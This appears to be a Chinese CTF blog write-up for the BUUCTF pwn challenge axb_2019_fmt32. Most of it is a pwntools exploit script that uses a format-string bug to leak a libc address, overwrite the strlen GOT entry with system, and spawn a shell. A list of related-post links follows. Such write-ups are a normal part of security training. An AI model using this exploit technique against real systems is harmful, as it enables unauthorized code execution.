[BUUCTF-pwn]——axb_2019_fmt32

啊啊啊啊啊啊啊,为什么明明很简单的一道题写了好久

from pwn import *
from LibcSearcher import LibcSearcherp = remote("node3.buuoj.cn",26515)
elf = ELF("./axb_2019_fmt32")puts_got = elf.got["puts"]strlen_got = elf.got["strlen"]payload1 = "%9$s" + "a" + p32(puts_got)
p.sendafter("Please tell me:",payload1)
p.recvuntil(":")
puts_addr = u32(p.recv(4))
print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
bin_sh = libcbase + libc.dump("str_bin_sh")
log.success("system_addr ---> ", hex(system_addr))
info("bin_sh ---> ", hex(bin_sh))high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffffpayload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 +=  "a" * 6
payload2 += p32(strlen_got) + p32(strlen_got + 2)p.sendafter("Please tell me:",payload2) payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)p.interactive()

[BUUCTF-pwn]——axb_2019_fmt32相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. BUUCTF【axb_2019_fmt32】

    例行检查 是开 了部分relro,可以改写got表,然后栈不可执行不, IDA分析 很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度 ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. CentOS No manual entry for man 没有 xx 的手册页条目
  2. NUTCH的安装与测试
  3. 电子计算机场地通用规范_最全的视频监控系统施工规范要求
  4. c语言测试清单,c语言测试(C language test).doc
  5. backbone学习笔记:集合(Collection)
  6. 大一软件工程C语言推荐书籍,大一软件工程学生,看完了谭浩强的书,越看越迷茫,感觉并没什么用,什么大程序都不会编,求指点?...
  7. 清华大学计算机考研总结,2020考研清华大学计算机考研考试科目总结
  8. linux佳入门教程,命令行基础工具的更佳替代品
  9. 生活中不可或缺的赚钱智慧
  10. 域名前缀和后缀html,域名常用前缀和后缀
  11. 智能环境监测产品浪涌防护整改之TVS管
  12. 你中招了吗?《心理学常见误区》
  13. 关于前端PDF显示和盖章(vue)
  14. 消除macbook桌面快捷键图标上的箭头
  15. 医院云PACS管理系统源码
  16. 【技术栈——00061】搭建关于python项目docker镜像的Dockerfile文件示例(自己的)
  17. pdf怎么转换成jpg图片效果好
  18. java web开发(和vue联合开发)
  19. 网络编程中的SO_REUSEADDR和SO_REUSEPORT参数详解
  20. pe如何自动加载外置工具_WINPE如何做到启动后自动运行外置程序里面指定的程序...

热门文章

  1. 分析easyVM 未完成)
  2. Burpsuite工具的使用
  3. oracle给每行加上序号,Oracle 根据分类字段给查询结果添加序号
  4. 【数据结构与算法】之深入解析“路径总和II”的求解思路与算法示例
  5. 【数据结构与算法】之深入解析“打家劫舍”的求解思路与算法示例
  6. 编写你的第一个 Django 应用,第 4 部分
  7. 百练1089:数字反转
  8. Java中集合(二)Vector
  9. mybatis应用(三)优化
  10. Windows下编程需要看哪些书